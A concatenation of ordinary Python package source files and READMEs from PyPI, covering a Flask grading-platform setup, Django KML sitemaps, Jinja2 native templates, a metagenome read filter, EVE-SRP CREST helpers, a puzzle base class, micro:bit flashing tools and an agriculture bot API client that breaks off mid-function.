template_helper.add_to_template_globals("_", _)
flask_app.template_helper = template_helper
init_flask_maintenance_mapping(flask_app)
return flask_app.wsgi_app, lambda: None
default_allowed_file_extensions = config['allowed_file_extensions']
default_max_file_size = config['max_file_size']
zmq_context, __ = start_asyncio_and_zmq(config.get('debug_asyncio', False))
# Init the different parts of the app
plugin_manager = PluginManager()
# Add the "agent types" inside the frontend, to allow loading tasks and managing envs
register_base_env_types()
# Create the FS provider
if "fs" in config:
fs_provider = filesystem_from_config_dict(config["fs"])
else:
task_directory = config["tasks_directory"]
fs_provider = LocalFSProvider(task_directory)
default_task_dispensers = {
task_dispenser.get_id(): task_dispenser for task_dispenser in [TableOfContents, CombinatoryTest]
}
default_problem_types = {
problem_type.get_type(): problem_type for problem_type in [DisplayableCodeProblem,
DisplayableCodeSingleLineProblem,
DisplayableFileProblem,
DisplayableMultipleChoiceProblem,
DisplayableMatchProblem]
}
course_factory, task_factory = create_factories(fs_provider, default_task_dispensers, default_problem_types, plugin_manager, database)
user_manager = UserManager(database, config.get('superadmins', []))
update_pending_jobs(database)
client = create_arch(config, fs_provider, zmq_context, course_factory)
lti_outcome_manager = LTIOutcomeManager(database, user_manager, course_factory)
submission_manager = WebAppSubmissionManager(client, user_manager, database, gridfs, plugin_manager, lti_outcome_manager)
template_helper = TemplateHelper(plugin_manager, user_manager, config.get('use_minified_js', True))
register_utils(database, user_manager, template_helper)
is_tos_defined = config.get("privacy_page", "") and config.get("terms_page", "")
# Init web mail
mail.init_app(flask_app)
# Add some helpers for the templates
template_helper.add_to_template_globals("_", _)
template_helper.add_to_template_globals("str", str)
template_helper.add_to_template_globals("available_languages", available_languages)
template_helper.add_to_template_globals("get_homepath", get_homepath)
template_helper.add_to_template_globals("pkg_version", __version__)
template_helper.add_to_template_globals("allow_registration", config.get("allow_registration", True))
template_helper.add_to_template_globals("sentry_io_url", config.get("sentry_io_url"))
template_helper.add_to_template_globals("user_manager", user_manager)
template_helper.add_to_template_globals("default_allowed_file_extensions", default_allowed_file_extensions)
template_helper.add_to_template_globals("default_max_file_size", default_max_file_size)
template_helper.add_to_template_globals("is_tos_defined", is_tos_defined)
template_helper.add_to_template_globals("privacy_page", config.get("privacy_page", None))
template_helper.add_other("course_admin_menu",
lambda course, current: course_admin_utils.get_menu(course, current, template_helper.render,
plugin_manager, user_manager))
template_helper.add_other("preferences_menu",
lambda current: preferences_utils.get_menu(config.get("allow_deletion", True),
current, template_helper.render,
plugin_manager, user_manager))
# Not found page
def flask_not_found(e):
return template_helper.render("notfound.html", message=e.description), 404
flask_app.register_error_handler(404, flask_not_found)
# Forbidden page
def flask_forbidden(e):
return template_helper.render("forbidden.html", message=e.description), 403
flask_app.register_error_handler(403, flask_forbidden)
# Enable debug mode if needed
web_debug = config.get('web_debug', False)
flask_app.debug = web_debug
oauthlib.set_debug(web_debug)
def flask_internalerror(e):
return template_helper.render("internalerror.html", message=e.description), 500
flask_app.register_error_handler(InternalServerError, flask_internalerror)
# Insert the needed singletons into the application, to allow pages to call them
flask_app.get_homepath = get_homepath
flask_app.plugin_manager = plugin_manager
flask_app.course_factory = course_factory
flask_app.task_factory = task_factory
flask_app.submission_manager = submission_manager
flask_app.user_manager = user_manager
flask_app.l10n_manager = l10n_manager
flask_app.template_helper = template_helper
flask_app.database = database
flask_app.gridfs = gridfs
flask_app.client = client
flask_app.default_allowed_file_extensions = default_allowed_file_extensions
flask_app.default_max_file_size = default_max_file_size
flask_app.backup_dir = config.get("backup_directory", './backup')
flask_app.webterm_link = config.get("webterm", None)
flask_app.lti_outcome_manager = lti_outcome_manager
flask_app.allow_registration = config.get("allow_registration", True)
flask_app.allow_deletion = config.get("allow_deletion", True)
flask_app.available_languages = available_languages
flask_app.welcome_page = config.get("welcome_page", None)
flask_app.terms_page = config.get("terms_page", None)
flask_app.privacy_page = config.get("privacy_page", None)
flask_app.static_directory = config.get("static_directory", "./static")
flask_app.webdav_host = config.get("webdav_host", None)
# Init the mapping of the app
init_flask_mapping(flask_app)
# Loads plugins
plugin_manager.load(client, flask_app, course_factory, task_factory, database, user_manager, submission_manager, config.get("plugins", []))
# Start the inginious.backend
client.start()
return flask_app.wsgi_app, lambda: _close_app(mongo_client, client) | PypiClean |
/Django_patch-2.2.19-py3-none-any.whl/django/contrib/gis/sitemaps/kml.py | from django.apps import apps
from django.contrib.gis.db.models.fields import GeometryField
from django.contrib.sitemaps import Sitemap
from django.db import models
from django.urls import reverse
class KMLSitemap(Sitemap):
"""
A minimal hook to produce KML sitemaps.
"""
geo_format = 'kml'
def __init__(self, locations=None):
# If no locations specified, then we try to build for
# every model in installed applications.
self.locations = self._build_kml_sources(locations)
def _build_kml_sources(self, sources):
"""
Go through the given sources and return a 3-tuple of the application
label, module name, and field name of every GeometryField encountered
in the sources.
If no sources are provided, then all models.
"""
kml_sources = []
if sources is None:
sources = apps.get_models()
for source in sources:
if isinstance(source, models.base.ModelBase):
for field in source._meta.fields:
if isinstance(field, GeometryField):
kml_sources.append((source._meta.app_label,
source._meta.model_name,
field.name))
elif isinstance(source, (list, tuple)):
if len(source) != 3:
raise ValueError('Must specify a 3-tuple of (app_label, module_name, field_name).')
kml_sources.append(source)
else:
raise TypeError('KML Sources must be a model or a 3-tuple.')
return kml_sources
def get_urls(self, page=1, site=None, protocol=None):
"""
This method is overridden so the appropriate `geo_format` attribute
is placed on each URL element.
"""
urls = Sitemap.get_urls(self, page=page, site=site, protocol=protocol)
for url in urls:
url['geo_format'] = self.geo_format
return urls
def items(self):
return self.locations
def location(self, obj):
return reverse(
'django.contrib.gis.sitemaps.views.%s' % self.geo_format,
kwargs={
'label': obj[0],
'model': obj[1],
'field_name': obj[2],
},
)
class KMZSitemap(KMLSitemap):
geo_format = 'kmz' | PypiClean |
/3y-2.6.4.tar.gz/3y-2.6.4/README.rst | # 3yzh
A three-circle calculator, It contains Circle Circles and Cylinders.
It is in Chinese.If you konw how to speak and write or mean these,you can use
Now,you can Download and input python 3y and then it will running
Please comply with local laws and regulations,
User only has the right to use
The final interpretation belongs to the author
For mainland China only.
You can see or read the log in log.py
This means that you have read and agreed to all the above regulations.
Welcome Download and use! | PypiClean |
/FastFlask-1.2.32-py3-none-any.whl/jinja2/nativetypes.py | import typing as t
from ast import literal_eval
from ast import parse
from itertools import chain
from itertools import islice
from . import nodes
from .compiler import CodeGenerator
from .compiler import Frame
from .compiler import has_safe_repr
from .environment import Environment
from .environment import Template
def native_concat(values: t.Iterable[t.Any]) -> t.Optional[t.Any]:
"""Return a native Python type from the list of compiled nodes. If
the result is a single node, its value is returned. Otherwise, the
nodes are concatenated as strings. If the result can be parsed with
:func:`ast.literal_eval`, the parsed value is returned. Otherwise,
the string is returned.
:param values: Iterable of outputs to concatenate.
"""
head = list(islice(values, 2))
if not head:
return None
if len(head) == 1:
raw = head[0]
if not isinstance(raw, str):
return raw
else:
raw = "".join([str(v) for v in chain(head, values)])
try:
return literal_eval(
# In Python 3.10+ ast.literal_eval removes leading spaces/tabs
# from the given string. For backwards compatibility we need to
# parse the string ourselves without removing leading spaces/tabs.
parse(raw, mode="eval")
)
except (ValueError, SyntaxError, MemoryError):
return raw
class NativeCodeGenerator(CodeGenerator):
"""A code generator which renders Python types by not adding
``str()`` around output nodes.
"""
@staticmethod
def _default_finalize(value: t.Any) -> t.Any:
return value
def _output_const_repr(self, group: t.Iterable[t.Any]) -> str:
return repr("".join([str(v) for v in group]))
def _output_child_to_const(
self, node: nodes.Expr, frame: Frame, finalize: CodeGenerator._FinalizeInfo
) -> t.Any:
const = node.as_const(frame.eval_ctx)
if not has_safe_repr(const):
raise nodes.Impossible()
if isinstance(node, nodes.TemplateData):
return const
return finalize.const(const) # type: ignore
def _output_child_pre(
self, node: nodes.Expr, frame: Frame, finalize: CodeGenerator._FinalizeInfo
) -> None:
if finalize.src is not None:
self.write(finalize.src)
def _output_child_post(
self, node: nodes.Expr, frame: Frame, finalize: CodeGenerator._FinalizeInfo
) -> None:
if finalize.src is not None:
self.write(")")
class NativeEnvironment(Environment):
"""An environment that renders templates to native Python types."""
code_generator_class = NativeCodeGenerator
class NativeTemplate(Template):
environment_class = NativeEnvironment
def render(self, *args: t.Any, **kwargs: t.Any) -> t.Any:
"""Render the template to produce a native Python type. If the
result is a single node, its value is returned. Otherwise, the
nodes are concatenated as strings. If the result can be parsed
with :func:`ast.literal_eval`, the parsed value is returned.
Otherwise, the string is returned.
"""
ctx = self.new_context(dict(*args, **kwargs))
try:
return native_concat(self.root_render_func(ctx)) # type: ignore
except Exception:
return self.environment.handle_exception()
async def render_async(self, *args: t.Any, **kwargs: t.Any) -> t.Any:
if not self.environment.is_async:
raise RuntimeError(
"The environment was not created with async mode enabled."
)
ctx = self.new_context(dict(*args, **kwargs))
try:
return native_concat(
[n async for n in self.root_render_func(ctx)] # type: ignore
)
except Exception:
return self.environment.handle_exception()
NativeEnvironment.template_class = NativeTemplate | PypiClean |
/COWBAT-0.5.0.23.tar.gz/COWBAT-0.5.0.23/cowbat/metagenomefilter/filtermetagenome.py | from olctools.accessoryFunctions.accessoryFunctions import GenObject, make_path, MetadataObject
import olctools.accessoryFunctions.metadataprinter as metadataprinter
from genemethods.assemblypipeline import createobject
from argparse import ArgumentParser
from threading import Thread
from subprocess import call
from csv import DictReader
from queue import Queue
import multiprocessing
from time import time
import subprocess
import logging
import os
__author__ = 'adamkoziol'
class FilterGenome(object):
def objectprep(self):
# Only find the data files if a datapath is provided
if self.datapath:
self.runmetadata = createobject.ObjectCreation(self)
else:
for sample in self.runmetadata.samples:
sample.general.abundancefile = sample.general.abundance
sample.general.assignmentfile = sample.general.classification
sample.general.fastqfiles = [sample.general.combined]
# Print the metadata to file
metadataprinter.MetadataPrinter(self)
# Load the results in the csv files into dictionaries
self.taxids()
def taxids(self):
for sample in self.runmetadata.samples:
# Initialise a list to store the taxIDs of interest
sample.general.taxids = list()
# Read the abundance file into a dictionary
abundancedict = DictReader(open(sample.general.abundancefile))
# Filter abundance to taxIDs with at least self.cutoff% of the total proportion
for row in abundancedict:
# The UNKNOWN category doesn't contain a 'Lineage' column, and therefore, subsequent columns are
# shifted out of proper alignment, and do not contain the appropriate data
try:
if float(row['Proportion_All(%)']) > self.cutoff:
sample.general.taxids.append(row['TaxID'], )
except ValueError:
pass
for taxid in sample.general.taxids:
# Create the an attribute for each taxID
setattr(sample, taxid, GenObject())
sample[taxid].readlist = list()
# Print the metadata to file
metadataprinter.MetadataPrinter(self)
# Load the assignment file to memory
self.loadassignment()
def loadassignment(self):
"""
Load the taxonomic assignment for each read
"""
logging.info('Finding taxonomic assignments')
# Create and start threads
for i in range(self.cpus):
# Send the threads to the appropriate destination function
threads = Thread(target=self.assignmentload, args=())
# Set the daemon to true - something to do with thread management
threads.setDaemon(True)
# Start the threading
threads.start()
for sample in self.runmetadata.samples:
self.loadqueue.put(sample)
self.loadqueue.join()
# Filter the .fastq files
self.readlist()
def assignmentload(self):
while True:
sample = self.loadqueue.get()
# Initialise dictionaries to store results
sample.general.fastqassignment = dict()
sample.general.reads = dict()
# Read the assignment file into a dictionary
with open(sample.general.assignmentfile, 'r') as assignmentcsv:
for row in assignmentcsv:
# Split on ','
data = row.split(',')
# Each row contains: Object_ID, Length, Assignment
# If the Assignment is one of the taxIDs of interest
if data[2].rstrip() in sample.general.taxids:
# Add the read name to the list of reads associated with that taxID
sample[data[2].rstrip()].readlist.append(data[0])
self.loadqueue.task_done()
def readlist(self):
"""
Sort the reads, and create lists to be used in creating sorted .fastq files
"""
logging.info('Sorting reads')
# Create and start threads
for i in range(self.cpus):
# Send the threads to the appropriate destination function
threads = Thread(target=self.listread, args=())
# Set the daemon to true - something to do with thread management
threads.setDaemon(True)
# Start the threading
threads.start()
for sample in self.runmetadata.samples:
self.listqueue.put(sample)
self.listqueue.join()
# Create
self.fastqfilter()
def listread(self):
while True:
sample = self.listqueue.get()
# Set and create the path of the sorted fastq files
sample.general.sortedfastqpath = os.path.join(sample.general.outputdirectory, 'sortedFastq')
make_path(sample.general.sortedfastqpath)
# Initialise dictionaries to hold data
sample.general.fastqlist = dict()
sample.general.filteredfastq = dict()
# Iterate through the taxIDs
for taxid in sample.general.taxids:
# Set the name of the list to store all the reads associated with the taxID
sample.general.fastqlist[taxid] = os.path.join(sample.general.sortedfastqpath,
'{sn}_{taxid}.txt'.format(sn=sample.name,
taxid=taxid))
# Set the name of the .fastq file that will store the filtered reads
sample.general.filteredfastq[taxid] = os.path.join(sample.general.sortedfastqpath,
'{sn}_{taxid}.fastq.gz'.format(sn=sample.name,
taxid=taxid))
# Open the list, and write the list of all reads, one per line
with open(sample.general.fastqlist[taxid], 'w') as binned:
binned.write('\n'.join(set(sample[taxid].readlist)))
self.listqueue.task_done()
def fastqfilter(self):
"""
Filter the reads into separate files based on taxonomic assignment
"""
logging.info('Creating filtered .fastqfiles')
# Create and start threads
for i in range(self.cpus):
# Send the threads to the appropriate destination function
threads = Thread(target=self.filterfastq, args=())
# Set the daemon to true - something to do with thread management
threads.setDaemon(True)
# Start the threading
threads.start()
for sample in self.runmetadata.samples:
self.filterqueue.put(sample)
self.filterqueue.join()
# Print the metadata to file
metadataprinter.MetadataPrinter(self)
def filterfastq(self):
while True:
sample = self.filterqueue.get()
# Iterate through the taxIDs
for taxid in sample.general.taxids:
# Set the system call to seqtk to subsequence the fastq file
sample.general.seqtkcall = 'seqtk subseq {fastq} {list} | gzip > {filtered}' \
.format(fastq=sample.general.fastqfiles[0],
list=sample.general.fastqlist[taxid],
filtered=sample.general.filteredfastq[taxid])
# Run the system call only if the filtered file does not exist
if not os.path.isfile(sample.general.filteredfastq[taxid]):
call(sample.general.seqtkcall, shell=True, stdout=self.devnull, stderr=self.devnull)
# Delete the large list stored in the object
delattr(sample[taxid], "readlist")
self.filterqueue.task_done()
def __init__(self, inputobject):
# Define variables based on supplied arguments
self.start = inputobject.start
self.path = inputobject.path
self.sequencepath = inputobject.sequencepath
self.datapath = inputobject.datapath
self.reportpath = inputobject.reportpath
# Use the argument for the number of threads to use, or default to the number of cpus in the system
self.cpus = inputobject.cpus
# Set the cutoff to be a percent
self.cutoff = inputobject.cutoff
# Initialise a variable to hold the sample objects
self.runmetadata = inputobject.runmetadata if inputobject.runmetadata else MetadataObject()
# Initialise queues
self.loadqueue = Queue()
self.listqueue = Queue()
self.filterqueue = Queue()
self.devnull = open(os.devnull, 'wb')
# If the script is called from the command line, then call the argument parser
if __name__ == '__main__':
class Parser(object):
def __init__(self):
# Get the current commit of the pipeline from git
# Extract the path of the current script from the full path + file name
homepath = os.path.split(os.path.abspath(__file__))[0]
# Find the commit of the script by running a command to change to the directory containing the script and
# run a git command to return the short version of the commit hash
commit = subprocess.Popen('cd {} && git tag | tail -n 1'.format(homepath),
shell=True, stdout=subprocess.PIPE).communicate()[0].rstrip()
# Parser for arguments
parser = ArgumentParser(description='Filter reads based on taxonomic assignment')
parser.add_argument('-v', '--version',
action='version', version='%(prog)s commit {}'.format(commit))
parser.add_argument('path',
help='Specify path')
parser.add_argument('-t', '--threads',
help='Number of threads. Default is the number of cpus in the system')
parser.add_argument('-s', '--sequencepath',
required=True,
help='Path of .fastq(.gz) files to process.')
parser.add_argument('-d', '--datapath',
required=True,
help='Path of .csv files created by CLARK with read ID, length, and assignment.')
parser.add_argument('-c', '--cutoff',
default=0.01,
help='Cutoff value for deciding which taxIDs to use when sorting .fastq files. '
'Defaults to 1 percent. Please note that you must use a decimal format: enter 0.05'
' to get a 5 percent cutoff value')
parser.add_argument('-x', '--taxids',
help='NOT IMPLEMENTED: CSV of desired taxIDs from each sample. ')
# Get the arguments into an object
args = parser.parse_args()
self.start = time()
# Define variables based on supplied arguments
self.path = os.path.join(args.path)
assert os.path.isdir(self.path), 'Supplied path is not a valid directory {path}'.format(path=self.path)
self.sequencepath = os.path.join(args.sequencepath)
assert os.path.isdir(self.sequencepath), 'Sequence location supplied is not a valid directory {seq_path}' \
.format(seq_path=self.sequencepath)
self.datapath = os.path.join(args.datapath)
self.reportpath = os.path.join(self.path, 'reports')
# Use the argument for the number of threads to use, or default to the number of cpus in the system
self.cpus = args.threads if args.threads else multiprocessing.cpu_count()
# Set the cutoff to be a percent
self.cutoff = args.cutoff * 100
# Run the pipeline
self.runmetadata = MetadataObject()
genome = FilterGenome(self)
genome.objectprep()
logging.info('Filtering complete')
# Run the script
Parser()
class PipelineInit(object):
def __init__(self, inputobject):
# Define variables based on supplied arguments
self.start = inputobject.start
self.path = inputobject.path
self.sequencepath = inputobject.sequencepath
self.datapath = inputobject.datapath
self.reportpath = inputobject.reportpath
# Use the argument for the number of threads to use, or default to the number of cpus in the system
self.cpus = inputobject.cpus
# Set the cutoff to be a percent
self.cutoff = inputobject.cutoff
# Initialise a variable to hold the sample objects
self.runmetadata = inputobject.runmetadata
# Initialise queues
self.loadqueue = Queue()
self.listqueue = Queue()
self.filterqueue = Queue()
self.devnull = open(os.devnull, 'wb')
# Run the pipeline
genome = FilterGenome(self)
genome.objectprep()
logging.info('Filtering complete') | PypiClean |
/Cibyl-1.0.0.0rc1.tar.gz/Cibyl-1.0.0.0rc1/docs/source/development/sources.rst | Sources
=======
To add/develop a new type of source, follow the following guidelines:
* A source should be added to cibyl/sources/<SOURCE_NAME>
* The source class you develop should inherit from the Source class (``cibyl/sources/source.py``)
* For a source to support an argument, it should implement the function name associated with that argument
* Each source method that implements a method of an argument, should be returning an AttributeDict value of the top level entity associated with the CI systems (e.g. ``AttributeDictValue("jobs", attr_type=Job, value=job_objects)``)
* A source should handle only CI/CD related data. If you would like a certain source to pull a product related data, you should add a source class (with the same name as the CI/CD source) to corresponding plugin (``cibyl/plugin/<PLUGIN_NAME>/sources/<SOURCE_DIR/FILE>``)
| PypiClean |
/EVE-SRP-0.12.11.tar.gz/EVE-SRP-0.12.11/src/evesrp/util/crest.py | from flask import flash, current_app
def check_crest_response(response):
"""Check for CREST representation deprecation/removal.
Specifically, check that the status code isn't 406 (meaning the
representation has been removed) and for the presence of the X-Deprecated
header.
:param Response response: A :py:class:`~.Response` to check.
:rtype: bool
"""
# TODO Add a test case for this
if response.status_code == 406:
flash((u"This version of EVE SRP no longer knows how to interface with"
u"the CREST API. Please update to the latest version."),
u'error')
return False
if 'X-Deprecated' in response.headers:
flash((u"The version of the CREST representation known by EVE SRP "
u"has been deprecated. Please update to the latest version "
u"to ensure continued operation."), u'warn')
return True
class NameLookup(object):
def __init__(self, starting_data, root_key, content_type, attribute='name'):
self._dict = starting_data
self.content_type = content_type
self.attribute_name = attribute
self.root_key = root_key
@property
def url_slug(self):
if not hasattr(self, '_url_slug'):
root_resp = current_app.requests_session.get(
'https://crest-tq.eveonline.com/')
root_json = root_resp.json()
url_slug = root_json[self.root_key]['href']
url_slug += '{}/'
self._url_slug = url_slug
return self._url_slug
def _access_attribute(self, obj, attribute=None):
if attribute is None:
attribute = self.attribute_name
if '.' in attribute:
first, rest = self.attribute_name.split('.', 1)
return self._access_attribute(obj[first], rest)
else:
return obj[attribute]
def __getitem__(self, key):
if not isinstance(key, int):
raise TypeError("Invalid ID for {} lookup: '{}'".\
format(self.attribute_name, key))
if key not in self._dict:
resp = current_app.requests_session.get(
self.url_slug.format(key),
headers={'Accept': self.content_type})
if check_crest_response(resp) and resp.status_code == 200:
self._dict[key] = self._access_attribute(resp.json())
else:
message = "Cannot find the {} for the ID requested [{}]: {}"\
.format(self.attribute_name, resp.status_code, key)
raise KeyError(message)
return self._dict[key] | PypiClean |
/GamesmanPuzzles-0.0.4-cp36-cp36m-manylinux2010_x86_64.whl/puzzlesolver/puzzles/_models/puzzle.py | from ...util import classproperty, depreciated
import progressbar
import warnings
class Puzzle:
#################################################################
# Background data
#################################################################
puzzleid = "NA"
author = "NA"
name = "NA"
description = "NA"
date_created = "NA"
#################################################################
# Intializer
#################################################################
def __init__(self):
"""Returns an instance of a Puzzle. Board state of the Puzzle
should be a Puzzle returned from `generateStartPosition`
"""
pass
#################################################################
# Variants
#################################################################
@property
def variant(self):
"""Returns a string defining the variant of this puzzleself.
Example: '5x5', '3x4', 'reverse3x3'
"""
return "NA"
@classmethod
def generateStartPosition(cls, variantid):
"""Returns a Puzzle object containing the start position.
Outputs:
- Puzzle object
"""
raise NotImplementedError
#################################################################
# String representations
#################################################################
def toString(self, mode="minimal"):
"""Returns the string representation of the Puzzle based on the type.
If mode is "minimal", return the serialize() version
If mode is "complex", return the printInfo() version
Inputs:
mode -- "minimal", "complex"
Outputs:
String representation -- String"""
if mode == "minimal" and hasattr(self, "serialize"):
return self.serialize()
if mode == "complex" and hasattr(self, "printInfo"):
return self.printInfo()
return str(self)
#################################################################
# Gameplay methods
#################################################################
def primitive(self):
"""If the Puzzle is at an endstate, return PuzzleValue.SOLVABLE or PuzzleValue.UNSOLVABLE
else return PuzzleValue.UNDECIDED
PuzzleValue located in the util class. If you're in the puzzles or solvers directory
you can write from ..util import *
Outputs:
Primitive of Puzzle type PuzzleValue
"""
raise NotImplementedError
def doMove(self, move):
"""Given a valid move, returns a new Puzzle object with that move executed.
Does nothing to the original Puzzle object
NOTE: Must be able to take any move, including `undo` moves
Raises a TypeError if move is not of the right type
Raises a ValueError if the move is not in generateMoves
Inputs
move -- type defined by generateMoves
Outputs:
Puzzle with move executed
"""
raise NotImplementedError
def generateMoves(self, movetype="legal"):
"""Generate moves from self (including undos)
Inputs
movetype -- str, can be the following
- 'for': forward moves
- 'bi': bidirectional moves
- 'back': back moves
- 'legal': legal moves (for + bi)
- 'undo': undo moves (back + bi)
- 'all': any defined move (for + bi + back)
Outputs:
Iterable of moves, move must be hashable
"""
raise NotImplementedError
#################################################################
# Solver methods
#################################################################
def __hash__(self):
"""Returns a hash of the puzzle.
Requirements:
- Each different puzzle must have a different hash
- The same puzzle must have the same hash.
Outputs:
Hash of Puzzle -- Integer
Note: How same and different are defined are dependent on how you implement it.
For example, a common optimization technique for reducing the size of key-value
pair storings are to make specific permutations of a board the same as they have
the same position value (i.e. rotating or flipping a tic-tac-toe board).
In that case, the hash of all those specific permutations are the same.
"""
raise NotImplementedError
@property
def numPositions(self):
"""Returns the max number of possible positions from the solution state.
Main use is for the progressbar module.
Default is unknown length, can be overwritten
"""
return None
def generateSolutions(self):
"""Returns a Iterable of Puzzle objects that are solved states.
Not required if noGenerateSolutions is true, and using a CSP-implemented solver.
Outputs:
Iterable of Puzzles
"""
return []
#################################################################
# Depreciated methods
#################################################################
@depreciated("puzzle.printInfo is depreciated. See toString")
def printInfo(self):
"""Prints the string representation of the puzzle.
Can be custom defined"""
return str(self)
@depreciated("puzzle.getName is depreciated. See puzzle.name")
def getName(self, **kwargs):
"""Returns the name of the Puzzle.
Outputs:
String name
"""
return self.__class__.__name__ | PypiClean |
/MicroBitTools-2.1.2-py3-none-any.whl/MicroBitTools.py | import os
import shutil
import uflash
import requests
import serial
import microfs
import time
import json
readymicrobithexurl = "https://www.dropbox.com/s/ksk3p5cnr5znky6/SerialSystem.hex?dl=1"
class InternalTools:
def yntoboolean(data="no"):
data = data.lower()
if data == "y":
return True
elif data == "n":
return False
else:
return "ERROR: \nInput was not either y or n"
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
def flash(pythonfile):
drive = uflash.find_microbit()
tryn = 0
while drive == "":
if tryn == 1:
print("Please plug in a microbit")
tryn = tryn + 1
input()
drive = uflash.find_microbit()
pyfilenoext = pythonfile[:-3]
os.system("cd " + os.getcwd())
os.system('py2hex "' + pythonfile + '"')
print("Moving to microbit.")
shutil.move(pyfilenoext + ".hex", drive)
print("Done!")
def flashF(folder):
print("MicroBit is at: " + microfs.find_microbit()[0] + "\nMicroBit directory is at: " + uflash.find_microbit())
try:
mfiles = microfs.ls()
except OSError as e:
print(str(
e) + "\nMicrobit is probably calibrating, calibrate and then try again\nIf it still does not work try to "
"replug your microbit or close other programs that is accessing your microbit")
return "Could not write"
print("Removing old stuff: " + str(mfiles))
for file in mfiles:
microfs.rm(file)
files = os.listdir(folder)
print("Flashing new stuff: " + str(files))
for file in files:
microfs.put(folder + "\\" + file)
print("Flashed new stuff: " + str(microfs.ls()) + "\n")
time.sleep(0.1)
print("Done!" + "\n" +
"Don't forget to name your main file \"main.py\"" + "\n" + InternalTools.bcolors.BOLD +
"Reset your MicroBit to apply changes!"
)
# except OSError as e:
# exit(str(e) + "\n\nReplug microbit")
# except TypeError as e:
# exit(str(e) + "\n\nReplug microbit")
# SerialSystem.ser.open()
def export(arg1):
flash(arg1)
class SerialSystem:
ser = microfs.get_serial()
ser.baudrate = 115200
ser.close()
microbitpath = uflash.find_microbit()
before = {'Buttons': {'A': False, 'B': False}, 'Temp': 20, 'CompassHeading': 369,
'Accelerometer': {'Y': 0, 'X': 0, 'Z': 0}, 'Brightness': 0}
def close(self):
self.ser.close()
def open(self):
try:
self.ser.open()
except serial.serialutil.SerialException as e:
print(str(e))
# FIXA
def readyMicroBit(self, printb=False):
# shutil.copyfile(os.getcwd() + "\\src\\" + "microbitserialsystem.hex", self.microbitpath+"SerialSystem.hex")
# shutil.copy
if printb:
print("Downloading HEX")
url = readymicrobithexurl
r = requests.get(url)
if printb:
print("Downloaded HEX")
print("Fixing HEX")
content = ""
# contentb = r.content
# contentb = str(contentb)
# contentb = contentb[:-1]
# contentb = contentb[2:]
# contentsplit = contentb.split("\\n")
# for i in contentsplit:
# content = content + i + "\n"
content = r.content.decode("UTF-8")
if printb:
print("Fixed HEX\n" + content)
print("Moving HEX to microbit")
try:
file = open("SerialSystem.hex", "w")
file.write(content)
file.close()
shutil.move("SerialSystem.hex", uflash.find_microbit() + "SerialSystem.hex")
except shutil.Error as e:
print(e)
print("SerialSystem hex already installed")
os.remove(os.getcwd() + "\\SerialSystem.hex")
if printb:
print("Moved HEX to microbit")
def display(self, screen=[
[5, 6, 7, 6, 5],
[6, 7, 8, 7, 6],
[7, 8, 9, 8, 7],
[6, 7, 8, 7, 6],
[5, 6, 7, 6, 5]
]):
fixedscreen = [0,0,0,0,0]
yn = 0
for y in screen:
tempstring = ""
xn = 0
for x in y:
tempstring = tempstring + str(screen[yn][xn])
xn = xn + 1
if y != 4:
tempstring = tempstring + ":"
fixedscreen[yn] = tempstring
yn = yn + 1
try:
self.ser.open()
except serial.serialutil.SerialException as e:
pass # print(str(e))
self.ser.write(bytes("?" + str(fixedscreen).replace(" ",""), 'utf-8'))
def readRaw(self):
try:
self.ser.open()
except serial.serialutil.SerialException as e:
pass # print(str(e))
data_raw = self.ser.readline()
result = ""
try:
if data_raw != b'':
result = data_raw.decode("utf-8")
except UnicodeEncodeError as e:
print("Skipping because of error: " + str(e))
return result
def read(self):
try:
self.ser.open()
except serial.serialutil.SerialException as e:
pass # print(str(e))
try:
mbd = self.ser.readline().decode("UTF-8")
mbd = mbd.replace("'", '"')
except serial.serialutil.SerialException:
return {"Error": "Can not find MicroBit"}
except UnicodeDecodeError as e:
mbd = ""
time.sleep(0.5)
print(e)
except IndexError:
return {"Error": "Unknown error"}
if mbd.startswith("?"):
mbds = mbd.split("?")
try:
result = json.loads(mbds[1])
if result["Buttons"]["A"] == "true":
result["Buttons"]["A"] = True
elif result["Buttons"]["A"] == "false":
result["Buttons"]["A"] = False
if result["Buttons"]["B"] == "true":
result["Buttons"]["B"] = True
elif result["Buttons"]["B"] == "false":
result["Buttons"]["B"] = False
except json.decoder.JSONDecodeError as e:
print(mbds[1])
print(e)
result = {"Error": "Cant convert Json (MicroBit probably is using wrong firmware)"}
else:
result = self.before
self.before = result
return result
def test():
print("SUCCESS") | PypiClean |
/Agrothon-1.3.2.tar.gz/Agrothon-1.3.2/agrothon/tgbot/helpers/apiserverhelper.py | from json.decoder import JSONDecodeError
from logging import getLogger
from typing import Optional
import aiohttp
import requests
from agrothon import API_BASE_URL, API_KEY
LOGGER = getLogger(__name__)
async def aiohttp_helper(
url: str, headers: dict, data: Optional[dict] = None, method: Optional[str] = "get"
):
async with aiohttp.ClientSession() as session:
if method == "get":
async with session.get(url=url, headers=headers) as response:
if response.status == 200:
try:
data = await response.json()
LOGGER.debug(data)
return True, data
except AttributeError as e:
LOGGER.error(e)
return False, None
else:
return False, None
elif method == "post":
async with session.post(url=url, json=data, headers=headers) as response:
if response.status == 200:
try:
data = await response.json()
LOGGER.debug(data)
return True, data
except AttributeError as e:
LOGGER.error(e)
return False, None
else:
return False, None
else:
return False, None
async def pump_get():
url = f"{API_BASE_URL}pump/?api_key={API_KEY}"
headers = {"accept": "application/json"}
status, response = await aiohttp_helper(url=url, headers=headers)
if status:
return response
else:
return None
async def pump_post(status: bool, by: Optional[str] = "User"):
url = f"{API_BASE_URL}pump/?api_key={API_KEY}"
headers = {"accept": "application/json", "Content-Type": "application/json"}
data = {"status": status, "by": by}
status, response = await aiohttp_helper(
url=url, headers=headers, data=data, method="post"
)
if status:
return response
else:
return None
async def sensor_get_latest():
url = f"{API_BASE_URL}field/sensor?api_key={API_KEY}"
headers = {"accept": "application/json"}
status, response = await aiohttp_helper(url=url, headers=headers)
if status:
return response
else:
return None
async def sensor_get_all():
url = f"{API_BASE_URL}field/sensor/all/?api_key={API_KEY}"
headers = {"accept": "application/json"}
status, response = await aiohttp_helper(url=url, headers=headers)
if status:
return response
else:
return None
async def open_weather(city: str):
url = f"{API_BASE_URL}weather/{city}?api_key={API_KEY}"
headers = {"accept": "application/json"}
status, response = await aiohttp_helper(url=url, headers=headers)
if status:
return response
else:
return None
def get_image_uuids():
url = f"{API_BASE_URL}intruder/images/uuids?api_key={API_KEY}"
headers = {"accept": "application/json"}
try:
response = requests.get(url, headers=headers)
